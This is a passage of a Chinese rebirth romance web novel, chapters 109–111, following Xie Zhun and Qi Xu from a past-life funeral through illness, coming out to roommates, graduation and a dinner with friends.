谢准就这样静静地站在门口,时间一分一秒地过去,心电监护仪始终保持着一条直线,没有一丝波动。直到医生宣告戚栩的死亡时间,谢准手上的手串断开,珠子洒落,遍地都是。谢准宛如在做一场永远都醒不过来的噩梦,无尽的黑暗,刺骨的冰冷。 沈家人匆匆赶到时戚栩已经推入太平间,一家人接受不了戚栩的离世,更有沈家旁支过来假模假样地哭丧。保镖将他们赶走,并看守在门口。 沈枫凯有病一样把谢准推到墙上,宣泄情绪般地质问:“我把他交给你,你就这样把他弄丢了。” 谢准的心好像死了一样,眼神空洞地看着沈家人:“一开始我就该把他从你们手上抢过来,是你们的偏心弄丢了他,如果他没有被认回沈家,兴许还能过得更好。”在沈家人的错愕下,他说:“这个世界上已经没有他值得留恋的东西,他放弃了自己。” 血亲对戚栩来说不重要,也包括他,一切一切都不重要。 灵堂吊丧是谢准一手操办,戚栩的遗体放置在冰柜那一晚,谢准在灵堂待了一整晚。戚栩的遗照是用于沈氏官网的公式照,嘴角带笑,从眼眸中能看得出来他的朝气和毫不掩饰的野心。 棺木停在灵堂中央,戚栩从楼梯上摔落的伤口已经被入殓师平复完整,脸上已经没有苍白,甚至还带着红润,仿佛只是睡着了而已。谢准屈膝而坐在地上,这个时候他的心里才感到不可言喻的悲楚。他彻底失去了一个还没来得及诉说爱意的爱人。 谢准陪着守灵,整整两天两夜,他已然分不清时间过去了多久。 来吊丧的人三三两两,戚栩的下属,不管男女老少都哭成一个泪人。戚栩的朋友不多,大学期间没有结交到一个朋友,寥寥几个都是工作之后才交上。 秦越跟着谢家夫妇参加吊丧,他是戚栩这辈子算上唯一深交的朋友。除去谢准小舅这个身份,秦越真心把戚栩当朋友。 沈家人作为家属允许站在灵堂门口,这也是他们最后一次出现在戚栩面前。戚栩葬在了和沈老爷子一个墓园,爷孙两陪伴着,有说有笑不至于太孤独。 入葬那天天气放晴,阳光明媚,连墓碑前都撒上了一层金色。亲朋好友参加完葬礼后离开,伤心的同时他们还有自己的生活。 谢准的状态谢家人有目共睹,不放心他决定陪着。 谢准一身黑色丧服,目光看着写着戚栩名字的墓碑,专注得令人发指。 站在身后的秦缓思的目光一顿,震惊地看着他的头发,才几天的时间长了数不清的白发。她沉默了一会儿还是开口说:“沈家求到你爷爷的面前,让他看着两家交情的份上网开一面。” 现在沈氏是沈卓宏掌权,这几年戚栩在沈氏花费了很多心血,这也是沈老爷子的产业,谢准保住了沈氏。 但沈卓海已经没有任何权利,沈枫凯被革职,至于沈泽予,新开的工作室失去了资金链,更因为股份的问题欠下一身债。沈卓海一家被逐出了沈氏,财产被调查组以偷税漏税调查中,不知以后的生活过成怎么样,谢准也不关心也不在乎。 和戚栩诀别的时候,他的心也跟着一起埋葬。 109、今生 戚栩这两年的身体被谢准和老爷子调理得差不多,每天一盅药膳灌进肚子里,死马都给他们治活了,不得不说一声妙手回春。当然,在老爷子看不到的地方这份炖盅戚栩和谢淮一人一半,并威逼利诱不允许谢淮告状,至于怎么怎么逼怎么诱,都是戚栩一言堂。 寒流再一次来袭,急速降温,比送入冷库还要夸张。前两年戚栩都是那段时间重感冒,而且这一病就是一个星期起步,每次见许老中医都好似固定npc似的,下一年他已经早早准备好药材,有备无患。 只是今年生病的不是戚栩,而是身强力壮,一年到头小感冒都很少有的谢准。 谢准这场生病来得毫无预兆,前一日周六两人才和徐亦辰他们在室内靶场玩了一转,谢少很威风,百发百中,结束之后婉拒所有人的攀谈,走到戚栩面前问有没有奖励。戚栩被他昨晚折腾得差点出不了门,到了靶场也没有上场全当吉祥物。最后的奖励是一声冷笑,还有裤子上多了一个鞋印。 周日早上戚栩醒得比谢准早,他睁开眼的时候只觉得颈肩的呼气比平时还要热,腰间的手温度更是烫人。这个时候戚栩还在感叹要是停暖气了,家里有个人形暖炉也冻不死。 戚栩喜欢赖床,伸手到床头柜拿起手机看了一眼,放在平时他一动谢准就会把他搂得更紧。今日反常,谢准竟然没有醒。 戚栩第一时间去摸谢准的脸,掌心一片滚烫,他连忙起身叫醒谢淮:“淮哥。”连叫了好几声后谢准才睁开眼睛,眼底都是红血丝,呼吸很重,声音沙哑地问:“醒了?” 戚栩第一时间给家庭医生打电话,到浴室拿了一块湿毛巾放在谢准的额头上。拿温度计,拿酒精擦手心降温,戚栩在房间和客厅来来回回走了好几遍。 在换额头上的毛巾时,被谢准拉住了手:“别忙了,去吃早餐。”戚栩皱着眉把他的手塞回被窝:“你还操心我?闭眼,休息。”谢准无奈地扯了扯嘴角,也是很享用戚栩的霸道。 家庭医生很快就到了,这一次谢准的病情来势汹汹,刚刚戚栩测的温度还是39度,这会儿医生再测,温度直逼40度。身体还有脱水的迹象,医生立即准备输液。 戚栩听到脱水,猜测谢准是半夜发热,那个时间正是他睡得正沉的时候。但谢准没有理由不知道自己的身体情况,医生在问他有没有吃药时,谢准说:“两三点的时候我吃了一片感冒药。” 戚栩的脑袋嗡嗡响,无言地站在床边看着谢准。躺着的谢准对此举起双手示好:“我以为只是普通的着凉,吃片药就好,所以没有叫醒你。” 戚栩把他手放在床边:“别乱动,要输液了。”医生在客厅等着输液结束,期间戚栩到厨房煮粥。他们两人都不喜欢家里有外人,早餐一般都是谢准做的,午饭和晚餐有时候叫厨师,又或者出去吃。 戚栩只有在谢准19岁生日那天下过厨房煮方便面,之后厨房就和他无关。戚栩哪会煮什么粥,所以不懂就问,给李叔打电话请教。 李叔更是不放心他,打了一个视频过来。戚栩按着李叔所教一步步来,有惊无险终于煮上粥了。 一个小时后输液结束,医生嘱咐了几句后离开。 戚栩端着粥进房间,谢准半坐起身看平板,一看就是在处理工作。戚栩放下粥一把拿过他手上的平板:“有病吧,这个样子还工作。” 谢准笑了笑,坦诚:“我确实有病。” 戚栩:“.…… 长了两岁怎么还这么幼稚,难道要28岁才会成熟,好像也没成熟到哪里去。 谢准忽然虚弱的模样对戚栩说:“肌肉酸痛,无力,使不上劲。”说着晃了晃那只前两天还用力抓着他脚踝的手,真是一副软弱无害的样子。 戚栩没照顾过人,看着谢淮干燥的嘴唇,脸色不正常的红,确定了面前是个病人。他坐在床边低头舀了一勺白粥:“生病要吃点清淡的,我放了点盐应该正合适。” 谢准吃都没吃就说:“合适。”戚栩听笑了:“你发烧之后学会了隔空尝物?” 谢准咬住了勺子,咽下在他嘴里没味的白粥。戚栩只喂了几口,也算是体验了如何照顾生病的病人,然后谢准就自己接了过去。“吃了几口粥就有力了?” 谢准吃完粥把碗放到一边,问:“栩哥在粥里下了什么神丹妙药。”戚栩说:“下了毒。” 谢准很配合歪头,中毒已深的模样:“我还有多久的时间?”戚栩抓了抓他的头发,认真地说:“一辈子。” 谢准吃完药之后又睡了过去,戚栩不放心地在房间办公,忽然徐亦辰一个电话打了过来。戚栩入房之前幸好将所有设备都调了静音,他悄然到客厅接听电话。 徐亦辰还是那副不着调的模样:“昨天阿淮出完风头被你藏起来了?给他打了几个电话怎么不接。”戚栩说:“他病了,卧床休息。”徐亦辰一惊一乍:“没事吧,需要我看护吗?” 戚栩还没有说话,身后传来脚步声,一只温热的手抱着戚栩的腰,将脑袋埋在戚栩的颈边蹭了蹭。“宝宝。” 戚栩举着手机,怔愣了下,挂也不是,不挂也不是。徐亦辰炸了,发出尖锐爆鸣:“我去 什么声音,你别告诉这是阿准,他高大威猛的形象在我心目中就此破碎了,黏糊吧吧的,简直无法想象。” 谢准听到聒噪的声音,接过戚栩的手机:“关你什么事。”徐亦辰嚷嚷了起来:“什么不关我的事,我的兄弟病了,不应该慰问吗,不过听起来你也不像生病的样子,不会是装的吧。” “你以为我像你一样装病把温度计都热炸了。”谢准闭着眼睛吸着戚栩身上的味道,“自己独守空房找点乐子,没事别打电话来骚扰我们两人世界。” 徐亦辰:“……方倩到国外参加比赛去了,他原本想着过来寻求安慰,没想到遭受致命的一击,好扎心啊。 由此得出,兄弟在关键时刻没有一点用,只会落井下石。他还没来得及说话被挂了电话,好在他还可以去找蒋子慕安慰受伤的心灵。 谢淮把手机扔到沙发上,牵着戚栩回到房间,重新搂着人回到床上。戚栩甚是无语:“真行,看你清醒的时候怎么面对徐亦辰。”谢准如今给他的感觉就是烧懵了,一切行动似乎没有依据。 谢准说:“他等会去蒋子慕,受到的伤害应该比在我这里还要多。”戚栩:“至今他依旧弄不明白这几个人的相处方式,算了,反正回旋镖打不到他的身上。经过一天的休息,谢准的烧算是降下去了,戚栩还想让他请假休息,谢淮说已经没有大碍。周一两人如常的上课,谢准为了不传染病毒戴上了口罩。 这两年里见多了戚栩戴口罩,如今口罩转移到其他人身上,李彦见到谢准戴口罩还惊讶了一番。“淮哥,栩哥的口罩转移到你脸上了?栩哥的身体好像越来越好了,也没有那……还是那么缺觉,不过这个冬天不见他有什么头晕脑热。” 另一边的冯振杰前几日也感冒,跟着打趣:“你们两的体质转换了?” 戚栩撑着脑袋:“我是强身健体的效果,他是出门不穿秋裤的后果。” 他总算是把这几年的仇给报了,谢准仗着自己不生病没穿过秋裤两个冬天如一日压迫他,今早被他按着以生病的理由穿上了秋裤。管你什么少爷,出门就得穿秋裤。 谢准接受戚栩的说辞,并没有发表任何意见。 李彦和冯振杰捧腹大笑,他们可见识过收拾出门了,谢准发现戚栩没穿秋裤都得把人逮回宿舍。可谓是君子报仇两年不晚。 是的,李彦和冯振杰两年了都没发现两位舍友的不对劲,只当戚栩和谢准友谊深厚。按照直男的思维,亲亲抱抱举高高不过是维护兄弟情谊的正常举动,况且两人并末在他们面前做过什么亲密的动作,除了偶尔谢准的被子又又湿了,和戚栩 起睡。 可能出门时被风吹了一遭,谢准的状态又下降了,多了头疼的症状。下课后,戚栩陪着谢淮去了一趟医护室,体温倒是没有升起来,校医给开了药。 谢老和沈老得知谢准生病,吩咐陈威给他们送营养餐,戚栩拿着上宿舍。戚栩一开门,谢准就抱了上来,生病的谢准更黏人了。 戚栩举着手里的保温袋避开他:“别给汤给弄撒了。” 谢准将他困在书桌边上,似乎又回到当初谢准告白后让他做出回答的日子,亲密接触之余,这种暖昧的姿势也让人愉悦,更像是挑逗。“刚刚在楼下和你说话的人是谁?” 戚栩放下保温袋,顺势楼住了他的脖子:“早知道就让你请假了,你这醋真是吃得乱七八糟,李彦社团的社员,问我他在不在宿舍,之前你不是见过么。”谢准义正言辞地说:“不记得了。” 戚栩捏了捏他的脖子:“生个病记忆都衰退了,看来得提前预防,不然老了之后得老年痴呆,保不准连我都忘了。”谢准说:“不会忘的,两辈子都忘不了。” 戚栩往前凑想要吻他,谢准侧开脸:“我感冒了。”戚栩说他装模作样,要是这样晚上就不准抱着他睡觉。 谢准无奈地看着他,走近分开他的双腿,亲吻压了上去。难舍难分,衣料窸窣作响,谢淮的一只手慢条斯理地探入了衣摆。 这个时候宿舍门忽然推开,门口的李彦说笑着看进来,具有冲击力的一幕让他下意识地关上门。砰的一声,把身后的冯振杰给吓了一跳:“干嘛啊,见鬼了。” 李彦像是还没有反应过来,大口地喘着气,莫名地大声说:“啊,我们回来啦。”也不知道在提醒谁,反正走廊上的人都听到了,纷纷往这边看。 冯振杰嫌他丢人,推门而入,然后谢准和戚栩依旧是刚刚李彦看到的姿势,只不过两人没吻在一起。冯振杰反应快,拉着李彦进宿舍,关门动作一气呵成。 两人也没做什么事,不知道为何紧张地喘着气,频率出乎意料地一致。谢准先发制人:“我们在一起了。” 戚栩:“…….怪不得刚刚他想把谢准推开,这人紧紧地扣着他一动不动。 冯振杰和李彦不喘气了,改成张大嘴巴,不过脸上看着没有任何怪异,只有震惊。两人面面相觑,眼神里包含了众多,但最终归纳成一句话:“脱单了是不是要请吃饭。” 110、今生二 脱单饭不是一人请一次,李彦和冯振杰单身到毕业,戚栩和谢准几乎一个学期请一次。 无他,谢准乐意,请上瘾似的,通过这种方式告知他和戚栩的关系,隔壁宿舍有幸参加过一次聚餐。 几个人不明所以地落座开餐,吃到一半才想起来问吃这顿饭的目的是什么。 戚栩还在低头吃着谢准给他剥的虾,然后熟悉的话语再次响起:“我和戚栩脱单了,这顿是脱单饭。” 隔壁宿舍的几人真情实感地鼓掌,更有人说毕业后结婚记得给他们发请帖。 话题越扯越远,餐桌上讨论着结婚的时候需要给多少份子钱。 谢准和戚栩都是他们的兄弟,理应一视同仁,至于金额当然取决于他们毕业后混得怎么样。这个时候谢准非常体贴地说:“给一份份子钱就可以。” 除了李彦和冯振杰剩下的人没听懂其中的意思,玩笑道:“怎么的,你们好到在同一天同一个宴会厅举办婚礼啊,虽然是兄弟,但还是两场婚礼,我们勒紧裤腰带也得给两份。” 戚栩隐隐约约察觉到谢准在毕业前组局的目的。 前两年谢淮对两人的关系可以说勉强能藏得住,还是因为戚栩不想过早公开两人的情侣关系。他们还是以学生的身份为重,虽说不在乎舆论,但有大半的时间生活在校园里,避免一些目光和讨论可以让他们过得更自在。 大三大四大家都要出去实习,在学校的时间逐渐减少,加上洛滋这四年在谢准管理下发展迅速,对赌协议隐约已经看到尽头。 秦谢两家老人对此睁只眼闭只眼,这四年间老辈子们和他们之间的关系可以说恩怨情仇狗血剧,骂过,打过,入过院,动之以情晓之以理,奈何他们两人刀枪不入,拧成一股绳,情比金坚有目共睹。 谢准会在床上一本正经地问戚栩什么时候给他一个名分。每逢那个时候戚栩几乎晕厥,破碎不堪,一句完整的话都说不出来,无法给他一个回答。 谢准每一次都会问这个问题,对此乐此不疲,又或许单纯喜欢看戚栩瞪人的模样。 从慢慢试探,如今谢准藏都懒得藏。“一张请帖,婚宴主人公是我和戚栩。” 李彦和冯振杰一脸平静地互相给对方夹螃蟹,这只蟹膏很多,这只肉很鲜美。 反观隔壁的几人,惊掉下巴地看着两位主人公,他们没李彦和冯振杰接受得这么快的能力,脸上还挂着一丝尴尬的笑容。同性恋不是每个人都可以接受。 不过随着菜品慢慢上齐,吃着火锅开始热火朝天,请帖的话题很快就过去了,大家说天谈地,夸夸其谈。最后那一丝尴尬也在谈笑中消失。同性恋而已,说到底也不过是两个互相喜欢的人在一起,况且谢准和栩哥站在一起看着还挺养眼。 聚会结束,过两天就是毕业典礼,他们请了几天假回学校,所以一群人勾肩搭背地朝戚栩和谢准挥手告别。戚栩和谢准回家,车辆就停在不远处的停车场,戚栩提议到前面的公园走走,散散衣服上的味道。 商区附近有一个人工湖公园,这个时间正是晚餐过后的时间,附近的居民下楼散步。漫步在初夏的夜,清爽的风扑面而来,让人不由地眯了眯眼享受这一刻。 公园门口有几个摊位,摆放着受小朋友喜欢的各种发光物体,发光的气球,发光会动的翅膀,可以一边飞一边发光的弹力球。 带着孩子前来散步的一家大小已经停步在门口,小孩子们嚷嚷着要买。 一个气球十几二十块,中看不中用,家长们一般都不同意。 戚栩听到声音看了一眼,谢准注意到,问:“想要哪个?”戚栩笑笑:“你给我买啊。” 谢准带着戚栩走到小摊位前,任君挑选且非常大方:“还是全都要。”戚栩骂了他一句:“要这么多干什么,买回去你抱着睡觉?”谢准消停了,让摊主拿了一个蓝色的气球下来。 戚栩其实没想要,活了两辈子没碰过这种幼稚玩意儿,不过还是会接过谢准手上的气球。22岁幼稚一下也不是不行,反正有人陪着。 在一众小孩羡慕的眼神下,戚栩得到了人生中第一个发光气球。然后在小孩的目送下走进公园。 气球发着主色调蓝光,加上其他五颜六色的灯光格外的惹眼,经过的人都会看几眼,戚栩拿着走了一段后把气球塞给谢准。戚栩察觉到谢准的心情很好,无缘由地就是感受到了。“回头给你买一个翅膀,看起来你马上要飞的感觉。” 谢准哪能听不出他的打趣,一手拿着气球一手牵着戚栩的手:“要飞也要带着你一起飞,我们应该不至于来到夫妻同林鸟,大难临头各自飞这个地步。” 戚栩笑着说:“你的语文水平好像也不怎么样,有这么形容…下一秒他意识到被谢准套路了:“不对,这么快就给自己一个名分。” 谢准晃了晃戚栩的手:“名分都是自己给的,你不给我,我还不能自己要。”说着还挺委屈的样子。 戚栩挑眉:“不是说要我追我一辈子,这就追够了?”谢准说:“作为男朋友是追够了,毕业之后想以其他身份追。”谢准在戚栩面前不屑于掩藏,占有欲也并没有随着时间变淡,不知是否有那些梦境碎片的缘由。戚栩很少和他提起上辈子那些事,他心大,觉得重来一遍就专注今生,没这个必要提已经过去的事。“还没毕业,你想来强的?““几天时间而已,可以等。”谢准转头看戚栩,刚好后者也转过头看他,“我又不能绑你上飞机到国外领证。”戚栩哼笑:“说得真好听,你又不是没绑过。”谢准又开始不记事:“是吗,没印象,今晚亲自指导我重温一下。”戚栩:“.…回到家后的谢准被驱赶,带着今晚买的气球回自己房间睡觉。三更半夜他抛弃气球潜入戚栩的房间,戚栩被吵醒后,给了他几脚。又打又闹的,最后还是抱在一起入睡。毕业礼当天,是学生们在学校里最后一次早八,毕业之后就是上班的早八。每个人早起穿学士服,整理仪容仪表,虽然在拍毕业照那天穿过,但几个宿舍又开始混乱起来,帽子不会戴,怎么戴着这么丑,为什么走两步就掉。期间还夹杂着鬼哭狼嚎:“我精心打理的发型。”“里面是不是要穿白衬衫啊。”“谁有定型喷雾,救我一命。”开学那天都没有鸡飞狗跳,到了毕业这天手忙脚乱。戚栩对着宿舍唯一的玻璃照着整理,谢准在旁边帮他整理衣领。李彦和冯振杰看着有些牙酸,也学着互相整理,然后李彦龇牙地说:“松手,我快喘不上气了。”冯振杰正在帮他系领带,听到这话第一时间松手,避免了毕业这一天谋杀舍友。戚栩帮着他们两个系领带,李彦看着戚栩熟练的手法,脱口而出:“我爸都没给我系过领带,栩哥,你是我义父。”戚栩说:“毕业这一天听到你这一声义父也不亏,赚了。”毕业流程其实挺赶的,先是所有毕业生集中在体育场听学校领导说话,各种颁奖,拨穗给予学位和文凭,本科生和研究生学生代表发言等等。戚栩再一次听到校歌还是没想起来怎么唱,不过对这首听了八年的校歌非常有感触。休息过程中,坐在前面的女同学举着手机招呼李彦他们入镜,后排的男生一呼而应,揽着戚栩和谢准就凑上前。两人都还没有准备好就拍下了照片,有人凑够去看,发表意见:“淮哥和栩哥好像和我们不在同一个图层。” 戚栩听笑了:“我们两个是异次元?” 谢准也看了一眼:“可能我们两个帅得过分。” 众人听到两人的对话纷纷哎呦了起来,又无法反驳,真是帅得人神共愤。戚栩和谢准相视一笑,他们都很享受这四年的校园生活。当然,最重要的是入学那天旁边坐着对方,四年之后旁边那人依旧没变。 随着礼花和礼炮地飘落,四年的大学生活就此画上一个句号。 当然,戚栩和谢准依旧继续接下来的两年研究生生活。两人一起保研本校研究生,这个毕业礼他们还要再参加一次。 李彦和冯振杰留在首都,很幸运他们314在同一个城市,相聚也容易一些。拍毕业照的时候明明他们宿舍已经合过影,只是那个时候离分别还有一段日子,也没有那么地伤感。 314又在李彦的组织下拍上了合影,李彦和冯振杰永远都是姿势百怪,而戚栩和谢准两人参加宴会和工作场合多了,永远都是微笑。 李彦和冯振杰不满。 “最后一次……也不是最后一次,可能在你们的婚礼上还会合影,但这一次能不能给点激情。” 谢准异常地爽快,戚栩还在奇怪中。结果在合影的时候,谢准单手搂着戚栩的腰亲了他一下。 帮他们合影的是隔壁宿舍,受不住地起哄。亲吻转瞬即逝,大家都各自忙着手头上的事,只有寥寥几个看到。 李彦和冯振杰纷纷讨伐两人。 谢准反问他们:“你们不是要激情吗,不够?” 戚栩被他的厚脸皮给逗笑了,笑得无可奈何。 这一遭过后李彦和冯振杰的拍照瘾就此结束,把舞台留给小情侣。戚栩和谢准并肩站着,手里抱着花束,大好阳光洒了下来,探过花束,留下了斑驳的光影。 谢准碰了碰戚栩的手,拖长声音:“毕业快乐。”难得听到谢准不那么正经的语气。戚栩笑着回:“毕业快乐。” 快门按下,照片定格在两人十指相扣的手,青春洋溢,时间暂停,美好留在了这一刻。灿烂的未来才正式开始。 111、今生三 这两三年来,戚栩所在的小区附近发展迅速,早年那一片荒芜空地早已栋栋高楼耸立,成为新的CBD商圈,附近的小区房价也跟着船涨水高。当然戚栩投资的房产不只这一处,凭借得天独厚重活一世的精力,开挂般地钱生钱。 徐亦辰有所听闻戚栩投资什么保准赚个盆满钵满,屁颠屁颠就找上来了。 无他,方倩给的零用钱太少了,他也知道为了他好,谁让他花钱如流水,没个节制,可有时候买礼物制造惊喜也需要钱。他特意找了个谢准不在的时间来,不是害怕这人告状,只是不想把自己的把柄往对方手里递,人之常情。 徐亦辰找来的时候戚栩正在和方倩,蒋子慕语音通话,商谈关于蒋大师举办的画廊计划。 蒋子慕也是戚栩投资的一个重要项目。蒋子慕因早年用心的经营视频账号大火了一把,是众多年轻美术生的榜样。 方倩手里有人脉,戚栩手里有资金,两人手上也有蒋子慕这些年来送的画作。其中戚栩最喜欢的是那一幅集合了世界各国纸币的生日礼物,大大满足了他爱钱之心。 方倩对蒋子慕说:“时间得这个星期给我答复,我得联系人去订场地。”蒋子慕说:“这得问小姨,她听说我要举办画展找了个大师问时辰吉日。” … 方倩知道她妈信佛,没想到连蒋子慕的画展也没逃过。“我去问她吧,对了,你们千万可别松口让徐亦辰掺和进来,前段时间他才刷了一辆超跑被我发现,车库里的车都多得停不下来,还要买。” 话音刚落,戚栩家门的铃声响起,他以为是快递和两人说了一声后去开门。 方倩还在讨伐蒋子慕:“别以为我不知道你给他打掩护,既然车在你名下,那就给你了。”蒋子慕干笑了一声:“表姐,我没驾照。”方倩哼声道:“那就学一个。” 门一打开,徐亦辰手提两支酒在戚栩面前晃了晃:"Surprise."耳机里的方倩听到徐亦辰的声音立即噤声,默默地听着这人要做什么妖。 戚栩一想到徐亦辰等会要遭殃就想笑,扯了扯嘴角没忍住。徐亦辰以为他见到自己很开心,催着戚栩进门:“我这两瓶酒果然没拿错,这可是我的压箱货。” 戚栩关上门,进厨房给他倒了杯水:“怎么来了?”徐亦辰把酒放在桌上,目的都写在脸上了:“最近我的可持续发展经济有些滞后,想问问你最近手头有什么项目短时间可以赚点。” 戚栩其实很想救他一命,故意道:“所以你拿着两瓶酒过来卖酒?”徐亦辰嗤声道:“这两瓶酒才多少,我是想问有什么我可以入伙的。” 戚栩坐了下来,笑着问:“钱被方倩管着,这是想藏小金库?”徐亦辰闻言立即坐直身体,义正言辞地说:“你别胡说,什么小金库,过段时间不是方倩的生日么,我想给她准备惊喜。” 戚栩点了点头再问:“确定不是因为买车被没收所有的零用钱。”徐亦辰震惊地问:“你怎么知道。” 戚栩俯身操作笔记本,断开了蓝牙耳机的连接,抬了抬手:“家务事自个解决吧。” 徐亦辰不明所以往屏幕上瞅了一眼,若大个群聊标志给他吓得后仰。他被做局了! 方倩玩味的声音传了出来:“不是说公司有事要去处理,你什么时候在戚栩家开了个公司。”徐亦辰:“…他的谎话不到一个小时就被戳穿了,生不逢时,早知道晚上再来。 蒋子慕插嘴:“可能是栩淮有限公司。” 徐亦辰还没来得及解释,这个时候谢准回家了,宛若没看到徐亦辰,进门和戚栩说话:“给你带了树莓蛋糕。”戚栩走过去:“小舅愿意放你回来了?” 秦越的古董街需要扩建,找谢淮当顾问,秦越这人有什么事第一时间先想到谢准这个大外甥,顾问是自己人,四舍五入又省了一笔。毕竟他做古玩一条街第一人,不靠家里,只靠大外甥。 这些年来戚栩需要送礼维护人脉也没少到他那里拿东西,出手也是阔绰,少则五位数,多则七位数。不到35岁就实现了被大外甥两口子养着的梦想,过多几年可以提前养老了。 谢准搂了一下戚栩:“早退了,他孤家寡人,我可不是。”徐亦辰听得牙酸,再次嚷嚷:"Hello,这还有人呢。"谢准扫了他一眼:“门口在那边,不送。”徐亦辰一听,重新坐回沙发上,对着笔记本腻歪地喊:“老婆~”谢准见状说道:“明天把笔记本换了吧。”戚栩笑得可欢了,笑着把树莓蛋糕放进冰箱。 谢准很快就了解完情况,锐评:“你把车放在蒋子慕名下还不如放在我名下,这样还能多存活一段时间。”徐亦辰和谢准多年兄弟,早已看透这人黑心肝的本质:“是啊,放在你名下是能存活很长一段时间,然后就变成你的了,相当于我花钱给你买车。” 谢准回:“他都没驾照,你把车放在他名下怪不得一眼就被识破。” 蒋子慕乖乖举手,虽然没人看到:“我准备去考一个了,感谢表姐夫送来的一辆跑车。”语气激昂,宛如在感谢榜一大哥。这可是一辆货真价实的跑车。 徐亦辰:“……好的,现在彻底乱成一锅粥了,搅和搅和一人一碗吧。 徐亦辰也不想在兄弟面前丢了面子,人在外还是要点脸,所以收拾收拾回家准备挨骂了。谢准朝徐亦辰招了招手,戚栩跟着说:“酒留下。” 徐亦辰无语地干笑:“你们还是不是人了,我都这样还惦记着酒,也没想过救我一命。”所以为了不让自己那两支酒白忙活,他拖家带口让方倩和蒋子慕过来今天刚开的栩淮有限公司吃晚饭。 方倩从家里出发,经过画室接上蒋子慕到戚栩家里。他们五个人毕业之后就各自忙于事业,可聚会从来没有落下过,谁让五个人中有两对情侣,蒋子慕是配合时间的那个,他开画室,比这四个空中飞人有时间。 方倩到了之后免不了敲打徐亦辰,其余三人习以为常,最后还是得到表姐夫跑车的蒋子慕当和事佬平息这场家庭纷争。徐亦辰抱着蒋子慕假哭:“弟,没白疼你,跑车能放回我名下吗?” 蒋子慕和他有商有量:“不如这样吧表姐夫,跑车作为收买我的资本,以后要是再买什么游艇,飞机,我都替你担着。”徐亦辰后知后觉,蒋子慕已经不再像以前这么好骗了,光阴似箭,岁月无情,忽然好想念以前傻弟弟。“你这套说辞听着怎么这么熟悉。” 蒋子慕说:“跟着栩哥投资了几个项目,跟他学的。”徐亦辰叹气,原来是和财迷学的,怪不得变得这么精明。 戚栩从沙发后经过,听到蒋子慕的一番发言,认可:“以前多教你几套,别吃亏了。”徐亦辰无能狂怒,不死心地偷摸问戚栩。最后方倩给了他一个巴掌才消停。 厨师熟悉徐亦辰他们的口味,知道他们今晚聚餐,做的菜品都是他们喜欢的。酒是戚栩开的,打开那一瞬他莫名的想起来乔迁宴那天,都是那几个人,带酒来的也是徐亦辰。 他才应该感叹光阴似箭的那人,一晃眼原来已经过去了六年时间。不过大家似乎都没怎么变,见面依旧会互怼,有时候还会动手,成熟的一面永远留在了工作上。 徐总,方总,戚总,谢总,蒋老师在今晚不过是和好友谈天说地的普通人。在席间他们从来不说公事,因为私事怎么说也说不完,特别是有徐亦辰这个存在。 戚栩得知的豪门八卦全都是从他嘴里听到,行走的娱乐报刊。有说有笑到十点,聚会结束。 徐亦辰如当年一样又喝醉了,整个人挂在方倩身上,蒋子慕帮着扶。戚栩把他们送到电梯口:“需要把陈威叫上来送你们回去吗?”方倩没喝酒,摆了摆手:“不用,我没喝酒。” 说着她压低声音:“等会回家他就死定了。”徐亦辰条件反射,第一时间立正,说道:“我一点都没醉。” …戚栩看够热闹开门回家,一转身谢淮不知道什么时候站在身后,这回真的是梦回当年。“你走路怎么没声。” 谢准说:“送这么久还以为你跟他们走了。”一模一样的对话。戚栩主动靠在门上,歪头:“不觉得这个对话很熟悉?“谢准走近一步:“我告白那天。” 原来在他想起这些事时候也有人和他同频想起,这种感觉很奇妙,两人之间没有秘密,因为对方就是秘密。谢准问:“还想再熟悉一下我的身体肌肉构造吗?” 戚栩:.……他失笑不已,搂上了谢准的脖子:“大可不必,已经熟悉到不能再熟悉了。” 谢准当然不会觉得自己的身材没有吸引力,故意问:“不好看了,嫌弃了.…” 戚栩咬住了他的耳垂:“我爱你。” 话音截然而止,谢准环着他的腰紧了紧,眼里只有戚栩一个人,无比郑重地回:“我爱你。” 告白那天,也是两人诉说爱意的那天。接下来的每一天都是充满爱意的。